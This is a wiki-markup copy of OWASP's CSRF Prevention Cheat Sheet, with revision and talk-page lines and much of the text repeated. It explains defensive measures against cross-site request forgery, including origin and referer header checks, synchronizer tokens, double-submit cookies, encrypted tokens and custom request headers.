[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses. This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.

= General Recommendations For Automated CSRF Defense =

We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.

# Check standard headers to verify the request is same origin
# AND Check CSRF token

Each of these is discussed next.

== Verifying Same Origin with Standard Headers ==

There are two steps to this check:

# Determining the origin the request is coming from (source origin)
# Determining the origin the request is going to (target origin)

Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.

The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.

=== Identifying Source Origin ===

To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:

* Origin Header
* Referer Header

==== Checking the Origin Header ====
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks. Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.

This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.

There are some situations where the Origin header is not present.
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone. The Referer header will remain the only indication of the UI origin.
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.

==== Checking the Referer Header ====
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state. This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token.

In both cases, just make sure the target origin check is strong. For example, if your site is "site.com" make sure "site.com.attacker.com" doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).

==== What to do when Both Origin and Referer Headers Aren't Present ====

If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.

=== Identifying the Target Origin ===

You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.

==== Determining the Target Origin When Behind a Proxy ====

If you are behind a proxy, there are a number of options to consider:

# Configure your application to simply know its target origin
# Use the Host header value
# Use the X-Forwarded-Host header value

Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.

If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.

However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.

=== Verifying the Two Origins Match ===

Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.

== CSRF Specific Defense ==

Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.

There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):

1. Synchronizer (i.e.,CSRF) Tokens (requires session state)

Approaches that do require no server side state:

2. Double Cookie Defense 
3. Encrypted Token Pattern 
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest

These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.

=== Synchronizer (CSRF) Tokens ===

* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks
* Characteristics of a CSRF Token
** Unique per user session
** Large random value
** Generated by a cryptographically secure random number generator
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET
* The server rejects the requested action if the CSRF token fails validation

In order to facilitate a "transparent but visible" CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random "challenge" tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.

When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as "CSRFToken". The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...
wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...
MGYwMGEwOA==">
…
</form>

In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.

To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the "Back" button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.

==== Existing Synchronizer Implementations ====

Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:

# For Java: OWASP [[CSRF Guard]]
# For PHP and Apache: [[CSRFProtector Project]]

==== Disclosure of Token in URL ====

Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.

In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.

The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.

In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to "HttpServletRequest.getParameter" will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.

For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.

==== ASP.NET, MVC and .NET Web Pages ====

.NET provides comprehensive CSRF defense. For more information visit the following resources.
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2
* http://software-security.sans.org/developer-how-to/developer-guide-csrf

=== Double Submit Cookie ===

If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match.

When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.

As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.

When the UI and the function service reside in different hosts, the Double Submit Cookie guard turns difficult to implement because the UI body and the Set-Cookie response headers will be generated as part of different requests to different processes.

=== Encrypted Token Pattern ===

The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.

On successful Token-decryption, the server has access to parsed values, ideally in the form of [http://en.wikipedia.org/wiki/Claims-based_identity claims]. These claims are processed by comparing the UserId claim to any potentially stored UserId (in a Cookie or Session variable, if the site already contains a means of authentication). The Timestamp is validated against the current time, preventing replay attacks.
Alternatively, in the case of a CSRF attack, the server will be unable to decrypt the poisoned Token, and can block and log the attack.

This pattern exists primarily to allow developers and architects protect against CSRF without session-dependency. It also addresses some of the shortfalls in other stateless approaches, such as the need to store data in a Cookie, circumnavigating the Cookie-subdomain and HTTPONLY issues.

=== Protecting REST Services: Use of Custom Request Headers ===

Adding CSRF tokens, a double submit cookie and value, encrypted token, or other defense that involves changing the UI can frequently be complex or otherwise problematic. An alternate defense which is particularly well suited for AJAX endpoints is the use of a custom request header. This defense relies on the [https://en.wikipedia.org/wiki/Same-origin_policy same-origin policy (SOP)] restriction that only JavaScript can be used to add a custom header, and only within its origin. By default, browsers don't allow JavaScript to make cross origin requests.

A particularly attractive custom header and value to use is:
* X-Requested-With: XMLHttpRequest
because most JavaScript libraries already add this header to requests they generate by default. Some do not though. For example, AngularJS used to, but doesn't anymore. [https://github.com/angular/angular.js/commit/3a75b1124d062f64093a90b26630938558909e8d Their rationale and how to add it back is here].

If this is the case for your system, you can simply verify the presence of this header and value on all your server side AJAX endpoints in order to protect against CSRF attacks. This approach has the double advantage of usually requiring no UI changes and not introducing any server side state, which is particularly attractive to REST services. You can always add your own custom header and value if that is preferred.

This defense technique is specifically discussed in section 4.3 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. However, bypasses of this defense using Flash were documented as early as 2008 and again as recently as 2015 by [https://hackerone.com/reports/44146 Mathias Karlsson to exploit a CSRF flaw in Vimeo]. But, we believe that the Flash attack can't spoof the Origin or Referer headers so by checking both of them we believe this combination of checks should prevent Flash bypass CSRF attacks. (NOTE: If anyone can confirm or refute this belief, please let us know so we can update this article)

= Alternate CSRF Defense: Require User Interaction =

Sometimes its easier or more appropriate to involve the user in the transaction in order to prevent unauthorized transactions (forged or otherwise).

The following are some examples of challenge-response options:

*Re-Authentication (password or stronger)
*One-time Token
*CAPTCHA

While challenge-response is a very strong defense against CSRF (assuming proper implementation), it does impact user experience. For applications in need of high security, tokens (transparent) and challenge-response should be used on high risk functions.

An example of a transparent use of security tokens that doesn't impact the user experience is the use of transaction IDs. Imagine a user wants to initiate a transaction, like send money via PayPal.

* In Step 1: the user provides the email address and the amount of money they want to send.
** The server responds with a confirmation dialog that includes a unique transaction ID for this money transfer.
* In Step 2: the user confirms the proposed transaction.
** The confirmation request includes the transaction ID generated in step 1. If the server verifies the transaction ID as part of this step, this prevents CSRF against this transaction flow without using a CSRF specific defense token. The transaction ID as part of the confirm essentially serves as the CSRF defense if the attacker cannot predict this value, The transaction ID 'should' be random/unguessable. Ideally, not just the next transaction number in a growing by one list of transaction IDs.

This is just one example of site's behavior that might naturally protect certain state changing events against CSRF attacks.

= Prevention Measures That Do NOT Work =

For more information on prevention measures that do NOT work, please see the [[Cross-Site_Request_Forgery_(CSRF)#Prevention_measures_that_do_NOT_work | OWASP CSRF article]].

= Personal Safety CSRF Tips for Users =

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow the following best practices to mitigate risk. These include:

* Logoff immediately after using a Web application
* Do not allow your browser to save username/passwords, and do not allow sites to “remember” your login
* Do not use the same browser to access sensitive applications and to surf the Internet freely (tabbed browsing).
* The use of plugins such as No-Script makes POST based CSRF vulnerabilities difficult to exploit. This is because JavaScript is used to automatically submit the form when the exploit is loaded. Without JavaScript the attacker would have to trick the user into submitting the form manually.

Integrated HTML-enabled mail/browser and newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

= Authors and Primary Editors =

Dave Wichers - dave.wichers[at]owasp.org 
Paul Petefish - https://www.linkedin.com/in/paulpetefish 
Eric Sheridan - eric.sheridan[at]owasp.org 

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

|}

[[Category:Cheatsheets]][[Category:Popular]]

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-10T18:44:39Z

Eelgheez: + Identifying cross-origin requests

Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2017-03-10T17:57:55Z

Eelgheez: /* Checking the Origin Header */ +no Origin header sent by IE within a trusted zone

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[Cross-Site Request Forgery (CSRF)]] is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is currently authenticated. The impact of a successful CSRF attack is limited to the capabilities exposed by the vulnerable application. For example, this attack could result in a transfer of funds, changing a password, or purchasing an item in the user's context. In effect, CSRF attacks are used by an attacker to make a target system perform a function via the target's browser without knowledge of the target user, at least until the unauthorized transaction has been committed.

Impacts of successful CSRF exploits vary greatly based on the privileges of each victim. When targeting a normal user, a successful CSRF attack can compromise end-user data and their associated functions. If the targeted end user is an administrator account, a CSRF attack can compromise the entire web application. Sites that are more likely to be attacked by CSRF are community websites (social networking, email) or sites that have high dollar value accounts associated with them (banks, stock brokerages, bill pay services). Utilizing social engineering, an attacker can embed malicious HTML or JavaScript code into an email or website to request a specific 'task URL'. The task then executes with or without the user's knowledge, either directly or by utilizing a Cross-Site Scripting flaw (ex: Samy MySpace Worm).

For more information on CSRF, please see the OWASP [[Cross-Site Request Forgery (CSRF)]] page.

__TOC__{{TOC hidden}}

== Warning: No Cross-Site Scripting (XSS) Vulnerabilities ==

[[Cross-Site Scripting]] is not necessary for CSRF to work. However, any cross-site scripting vulnerability can be used to defeat token, Double-Submit cookie, referer and origin based CSRF defenses. This is because an XSS payload can simply read any page on the site using a XMLHttpRequest and obtain the generated token from the response, and include that token with a forged request. This technique is exactly how the [http://en.wikipedia.org/wiki/Samy_(XSS) MySpace (Samy) worm] defeated MySpace's anti-CSRF defenses in 2005, which enabled the worm to propagate. XSS cannot defeat challenge-response defenses such as Captcha, re-authentication or one-time passwords. It is imperative that no XSS vulnerabilities are present to ensure that CSRF defenses can't be circumvented. Please see the OWASP [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheat Sheet]] for detailed guidance on how to prevent XSS flaws.

= General Recommendations For Automated CSRF Defense =

We recommend two separate checks as your standard CSRF defense that does not require user intervention. This discussion ignores for the moment deliberately allowed cross origin requests (e.g., CORS). Your defenses will have to adjust for that if that is allowed.

# Check standard headers to verify the request is same origin
# AND Check CSRF token

Each of these is discussed next.

== Verifying Same Origin with Standard Headers ==

There are two steps to this check:

# Determining the origin the request is coming from (source origin)
# Determining the origin the request is going to (target origin)

Both of these steps rely on examining an HTTP request header value. Although it is usually trivial to spoof any header from a browser using JavaScript, it is generally impossible to do so in the victim's browser during a CSRF attack, except via an XSS vulnerability in the site being attacked with CSRF. More importantly for this recommended Same Origin check, a number of HTTP request headers can't be set by JavaScript because they are on the [https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name 'forbidden' headers list]. Only the browsers themselves can set values for these headers, making them more trustworthy because not even an XSS vulnerability can be used to modify them.

The Source Origin check recommended here relies on three of these protected headers: Origin, Referer, and Host, making it a pretty strong CSRF defense all on its own.

=== Identifying Source Origin ===

To identify the source origin, we recommend using one of these two standard headers that almost all requests include one or both of:

* Origin Header
* Referer Header

==== Checking the Origin Header ====
If the Origin header is present, verify its value matches the target origin. The [https://wiki.mozilla.org/Security/Origin Origin HTTP Header] standard was introduced as a method of defending against CSRF and other Cross-Domain attacks. Unlike the Referer, the Origin header will be present in HTTP requests that originate from an HTTPS URL. If the Origin header is present, then it should be checked to make sure it matches the target origin.

This defense technique is specifically proposed in section 5.0 of [https://seclab.stanford.edu/websec/csrf/csrf.pdf Robust Defenses for Cross-Site Request Forgery]. This paper proposes the creation of the Origin header and its use as a CSRF defense mechanism.

There are some situations where the Origin header is not present.
* [http://stackoverflow.com/questions/20784209/internet-explorer-11-does-not-add-the-origin-header-on-a-cors-request Internet Explorer 11 does not add the Origin header on a CORS request] across sites of a trusted zone. The Referer header will remain the only indication of the UI origin.
* [http://stackoverflow.com/questions/22397072/are-there-any-browsers-that-set-the-origin-header-to-null-for-privacy-sensitiv Following a 302 redirect cross-origin]. In this situation, the Origin is not included in the redirected request because that may be considered sensitive information you don't want to send to the other origin. But since we recommend rejecting requests that don't have both Origin and Referer headers, this is OK, because the reason the Origin header isn't there is because it is a cross-origin redirect.

==== Checking the Referer Header ====
If the Origin header is not present, verify the hostname in the Referer header matches the target origin. Checking the Referer is a commonly used method of preventing CSRF on embedded network devices because it does not require any per-user state. This makes Referer a useful method of CSRF prevention when memory is scarce or server-side state doesn't exist. This method of CSRF mitigation is also commonly used with unauthenticated requests, such as requests made prior to establishing a session state which is required to keep track of a synchronization token.

In both cases, just make sure the target origin check is strong. For example, if your site is "site.com" make sure "site.com.attacker.com" doesn't pass your origin check (i.e., match through the trailing / after the origin to make sure you are matching against the entire origin).

==== What to do when Both Origin and Referer Headers Aren't Present ====

If neither of these headers is present, which should be VERY rare, you can either accept or block the request. '''We recommend blocking''', particularly if you aren't using a random CSRF token as your second check. You might want to log when this happens for a while and if you basically never see it, start blocking such requests.

=== Identifying the Target Origin ===

You might think its easy to determine the target origin, but its frequently not. The first thought is to simply grab the target origin (i.e., its hostname and port #) from the URL in the request. However, the application server is frequently sitting behind one or more proxies and the original URL is different from the URL the app server actually receives. If your application server is directly accessed by its users, then using the origin in the URL is fine and you're all set.

==== Determining the Target Origin When Behind a Proxy ====

If you are behind a proxy, there are a number of options to consider:

# Configure your application to simply know its target origin
# Use the Host header value
# Use the X-Forwarded-Host header value

Its your application, so clearly you can figure out its target origin and set that value in some server configuration entry. This would be the most secure approach as its defined server side so is a trusted value. However, this can be problematic to maintain if your application is deployed in many different places, e.g., dev, test, QA, production, and possibly multiple production instances. Setting the correct value for each of these situations can be difficult, but if you can do it, that's great.

If you would prefer the application figure it out on its own, so it doesn't have to be configured differently for each deployed instance, we recommend using the Host family of headers. The Host header's purpose is to contain the target origin of the request. But, if your app server is sitting behind a proxy, the Host header value is most likely changed by the proxy to the target origin of the URL behind the proxy, which is different than the original URL. This modified Host header origin won't match the source origin in the original Origin or Referer headers.

However, there is another header called X-Forwarded-Host, whose purpose is to contain the original Host header value the proxy received. Most proxies will pass along the original Host header value in the X-Forwarded-Host header. So that header value is likely to be the target origin value you need to compare to the source origin in the Origin or Referer header.

=== Verifying the Two Origins Match ===

Once you've identified the source origin (from either the Origin or Referer header), and you've determined the target origin, however you choose to do so, then you can simply compare the two values and if they don't match you know you have a cross-origin request.

== CSRF Specific Defense ==

Once you have verified that the request appears to be a same origin request so far, we recommend a second check as an additional precaution to really make sure. This second check can involve custom defense mechanisms using CSRF specific tokens created and verified by your application or can rely on the presence of other HTTP headers depending on the level of rigor/security you want.

There are numerous ways you can specifically defend against CSRF. We recommend using one of the following (in ADDITION to the check recommended above):

1. Synchronizer (i.e.,CSRF) Tokens (requires session state)

Approaches that do require no server side state:

2. Double Cookie Defense 
3. Encrypted Token Pattern 
4. Custom Header - e.g., X-Requested-With: XMLHttpRequest

These are listed in order of strength of defense. So use the strongest defense that makes sense in your situation.

=== Synchronizer (CSRF) Tokens ===

* Any state changing operation requires a secure random token (e.g., CSRF token) to prevent CSRF attacks
* Characteristics of a CSRF Token
** Unique per user session
** Large random value
** Generated by a cryptographically secure random number generator
* The CSRF token is added as a hidden field for forms or within the URL if the state changing operation occurs via a GET
* The server rejects the requested action if the CSRF token fails validation

In order to facilitate a "transparent but visible" CSRF solution, developers are encouraged to adopt the Synchronizer Token Pattern (http://www.corej2eepatterns.com/Design/PresoDesign.htm). The synchronizer token pattern requires the generating of random "challenge" tokens that are associated with the user's current session. These challenge tokens are then inserted within the HTML forms and links associated with sensitive server-side operations. When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token. It is then the responsibility of the server application to verify the existence and correctness of this token. By including a challenge token with each request, the developer has a strong control to verify that the user actually intended to submit the desired requests. Inclusion of a required security token in HTTP requests associated with sensitive business functions helps mitigate CSRF attacks as successful exploitation assumes the attacker knows the randomly generated token for the target victim's session. This is analogous to the attacker being able to guess the target victim's session identifier. The following synopsis describes a general approach to incorporate challenge tokens within the request.

When a Web application formulates a request (by generating a link or form that causes a request when submitted or clicked by the user), the application should include a hidden input parameter with a common name such as "CSRFToken". The value of this token must be randomly generated such that it cannot be guessed by an attacker. Consider leveraging the java.security.SecureRandom class for Java applications to generate a sufficiently long random token. Alternative generation algorithms include the use of 256-bit BASE64 encoded hashes. Developers that choose this generation algorithm must make sure that there is randomness and uniqueness utilized in the data that is hashed to generate the random token.

<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken"
value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWE...
wYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZ...
MGYwMGEwOA==">
…
</form>

In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. When a request is issued by the end-user, the server-side component must verify the existence and validity of the token in the request as compared to the token found in the session. If the token was not found within the request or the value provided does not match the value within the session, then the request should be aborted, token should be reset and the event logged as a potential CSRF attack in progress.

To further enhance the security of this proposed design, consider randomizing the CSRF token parameter name and/or value for each request. Implementing this approach results in the generation of per-request tokens as opposed to per-session tokens. Note, however, that this may result in usability concerns. For example, the "Back" button browser capability is often hindered as the previous page may contain a token that is no longer valid. Interaction with this previous page will result in a CSRF false positive security event at the server. Regardless of the approach taken, developers are encouraged to protect the CSRF token the same way they protect authenticated session identifiers, such as the use of TLS.

==== Existing Synchronizer Implementations ====

Synchronizer Token defenses have been built into many frameworks so we strongly recommend using them first when they are available. External components that add CSRF defenses to existing applications also exist and are recommended. OWASP has two:

# For Java: OWASP [[CSRF Guard]]
# For PHP and Apache: [[CSRFProtector Project]]

==== Disclosure of Token in URL ====

Many implementations of synchronizer tokens include the challenge token in GET (URL) requests as well as POST requests. This is often implemented as a result of sensitive server-side operations being invoked as a result of embedded links in the page or other general design patterns. These patterns are often implemented without knowledge of CSRF and an understanding of CSRF prevention design strategies. While this control does help mitigate the risk of CSRF attacks, the unique per-session token is being exposed for GET requests. CSRF tokens in GET requests are potentially leaked at several locations: browser history, HTTP log files, network appliances that make a point to log the first line of an HTTP request, and Referer headers if the protected site links to an external site.

In the latter case (leaked CSRF token due to the Referer header being parsed by a linked site), it is trivially easy for the linked site to launch a CSRF attack on the protected site, and they will be able to target this attack very effectively, since the Referer header tells them the site as well as the CSRF token. The attack could be run entirely from JavaScript, so that a simple addition of a script tag to the HTML of a site can launch an attack (whether on an originally malicious site or on a hacked site). Additionally, since HTTPS requests from HTTPS contexts will not strip the Referer header (as opposed to HTTPS to HTTP requests) CSRF token leaks via Referer can still happen on HTTPS Applications.

The ideal solution is to only include the CSRF token in POST requests and modify server-side actions that have state changing affect to only respond to POST requests. This is in fact what the [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.1.1 RFC 2616] requires for GET requests. If sensitive server-side actions are guaranteed to only ever respond to POST requests, then there is no need to include the token in GET requests.

In most JavaEE web applications, however, HTTP method scoping is rarely ever utilized when retrieving HTTP parameters from a request. Calls to "HttpServletRequest.getParameter" will return a parameter value regardless if it was a GET or POST. This is not to say HTTP method scoping cannot be enforced. It can be achieved if a developer explicitly overrides doPost() in the HttpServlet class or leverages framework specific capabilities such as the AbstractFormController class in Spring.

For these cases, attempting to retrofit this pattern in existing applications requires significant development time and cost, and as a temporary measure it may be better to pass CSRF tokens in the URL. Once the application has been fixed to respond to HTTP GET and POST verbs correctly, CSRF tokens for GET requests should be turned off.

==== ASP.NET, MVC and .NET Web Pages ====

.NET provides comprehensive CSRF defense. For more information visit the following resources.
* https://msdn.microsoft.com/en-us/library/ms972969.aspx#securitybarriers_topic2
* http://software-security.sans.org/developer-how-to/developer-guide-csrf

=== Double Submit Cookie ===

If storing the CSRF token in session is problematic, an alternative defense is use of a double submit cookie. A double submit cookie is defined as sending a random value in both a cookie and as a request parameter, with the server verifying if the cookie value and request value match.

When a user authenticates to a site, the site should generate a (cryptographically strong) pseudorandom value and set it as a cookie on the user's machine separate from the session id. The site does not have to save this value in any way, thus avoiding server side state. The site then requires that every transaction request include this random value as a hidden form value (or other request parameter). A cross origin attacker cannot read any data sent from the server or modify cookie values, per the same-origin policy. This means that while an attacker can force a victim to send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie. Since the cookie value and the request parameter or form value must be the same, the attacker will be unable to successfully force the submission of a request with the random CSRF value.

As an example, the [http://directwebremoting.org Direct Web Remoting (DWR)] Java library version 2.0 has CSRF protection built in that implements the double cookie submission transparently.

=== Encrypted Token Pattern ===

The Encrypted Token Pattern leverages an encryption, rather than comparison, method of Token-validation. After successful authentication, the server generates a unique Token comprised of the user's ID, a timestamp value and a [http://en.wikipedia.org/wiki/Cryptographic_nonce nonce], using a unique key available only on the server. This Token is returned to the client and embedded in a hidden field. Subsequent AJAX requests include this Token in the request-header, in a similar manner to the Double-Submit pattern. Non-AJAX form-based requests will implicitly persist the Token in its hidden field. On receipt of this request, the server reads and decrypts the Token value with the same key used to create the Token. Inability to correctly decrypt suggest an intrusion attempt. Once decrypted, the UserId and timestamp contained within the token are validated to ensure validity; the UserId is compared against the currently logged in user, and the timestamp is compared against the current time.

